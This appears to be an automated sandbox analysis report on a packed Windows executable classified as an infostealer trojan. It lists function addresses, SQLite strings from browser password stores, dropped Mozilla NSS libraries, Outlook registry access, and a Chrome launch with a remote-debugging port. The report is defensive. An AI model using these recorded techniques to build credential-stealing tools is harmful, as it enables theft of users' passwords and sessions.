Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EA00	0_2_6C68EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA80	0_2_6C65EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6BE0	0_2_6C6E6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CEBD0	0_2_6C6CEBD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680BA0	0_2_6C680BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8460	0_2_6C5F8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644420	0_2_6C644420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A430	0_2_6C66A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264D0	0_2_6C6264D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A4D0	0_2_6C67A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A480	0_2_6C70A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642560	0_2_6C642560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680570	0_2_6C680570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728550	0_2_6C728550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638540	0_2_6C638540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4540	0_2_6C6E4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA5E0	0_2_6C6AA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E5F0	0_2_6C66E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D45B0	0_2_6C5D45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C650	0_2_6C63C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E6E0	0_2_6C63E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6046D0	0_2_6C6046D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C660700	0_2_6C660700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60A7D0	0_2_6C60A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62E070	0_2_6C62E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC000	0_2_6C6AC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8010	0_2_6C6A8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8090	0_2_6C5D8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC0B0	0_2_6C6BC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F00B0	0_2_6C5F00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648140	0_2_6C648140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656130	0_2_6C656130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4130	0_2_6C6C4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E01E0	0_2_6C5E01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668260	0_2_6C668260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678250	0_2_6C678250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8220	0_2_6C6B8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA210	0_2_6C6AA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7662C0	0_2_6C7662C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B22A0	0_2_6C6B22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2B0	0_2_6C6AE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C722370	0_2_6C722370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FC360	0_2_6C6FC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676370	0_2_6C676370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8340	0_2_6C5E8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E2370	0_2_6C5E2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652320	0_2_6C652320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6343E0	0_2_6C6343E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6123A0	0_2_6C6123A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E3B0	0_2_6C63E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3C40	0_2_6C5E3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C709C40	0_2_6C709C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1C30	0_2_6C5F1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A1CE0	0_2_6C6A1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71DCD0	0_2_6C71DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FC80	0_2_6C67FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D00	0_2_6C643D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1DC0	0_2_6C6B1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3D80	0_2_6C5D3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C729D90	0_2_6C729D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BE70	0_2_6C73BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C765E60	0_2_6C765E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDE10	0_2_6C6EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C603EC0	0_2_6C603EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615F20	0_2_6C615F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737F20	0_2_6C737F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E3F30	0_2_6C6E3F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5F30	0_2_6C5D5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BFF0	0_2_6C68BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FDFC0	0_2_6C6FDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C763FC0	0_2_6C763FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C601F90	0_2_6C601F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3840	0_2_6C6B3840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D810	0_2_6C63D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6138E0	0_2_6C6138E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73B8F0	0_2_6C73B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BF8F0	0_2_6C6BF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67F8C0	0_2_6C67F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED8E0	0_2_6C5ED8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F960	0_2_6C65F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D960	0_2_6C69D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695920	0_2_6C695920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F900	0_2_6C72F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6459F0	0_2_6C6459F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6779F0	0_2_6C6779F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6799C0	0_2_6C6799C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6199D0	0_2_6C6199D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1980	0_2_6C5F1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B1990	0_2_6C6B1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C769A50	0_2_6C769A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DDA30	0_2_6C6DDA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61FA10	0_2_6C61FA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681A10	0_2_6C681A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E1AE0	0_2_6C5E1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDAB0	0_2_6C6BDAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BFB60	0_2_6C6BFB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62BB20	0_2_6C62BB20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627BF0	0_2_6C627BF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639BA0	0_2_6C639BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9BB0	0_2_6C6A9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1B80	0_2_6C5D1B80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C5B90	0_2_6C6C5B90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9430	0_2_6C6C9430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D410	0_2_6C66D410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E14E0	0_2_6C5E14E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7614A0	0_2_6C7614A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5510	0_2_6C5F5510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72F510	0_2_6C72F510
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C647500	0_2_6C647500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6655F0	0_2_6C6655F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619590	0_2_6C619590
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9650	0_2_6C5F9650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635640	0_2_6C635640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609600	0_2_6C609600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657610	0_2_6C657610
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6116A0	0_2_6C6116A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6496A0	0_2_6C6496A0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7609D0 appears 338 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C603620 appears 96 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76D930 appears 65 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719F30 appears 53 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C609B10 appears 109 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C63C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C76DAE0 appears 83 times

Source: file.exe, 00000000.00000002.2076119317.000000006F8F2000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: yeafjtky ZLIB complexity 0.9945979276812689

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/37@6/7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C640300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C640300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\74IMEH25.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1911369623.000000001D764000.00000004.00000020.00020000.00000000.sdmp, JEBKJDAFHJDGDHJKKEGI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2075196255.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2204,i,6037110496372164923,5542102993344952383,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2204,i,6037110496372164923,5542102993344952383,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2132992 > 1048576

Source: file.exe

Static PE information: Raw size of yeafjtky is bigger than: 0x100000 < 0x19dc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2076077231.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693152043.000000000512B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075923211.000000006C841000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693152043.000000000512B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075923211.000000006C841000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2076077231.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.440000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yeafjtky:EW;jahyhtmk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yeafjtky:EW;jahyhtmk:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x20fc13 should be: 0x21711f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: yeafjtky
Source: file.exe	Static PE information: section name: jahyhtmk
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: yeafjtky entropy: 7.9523701422358135

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
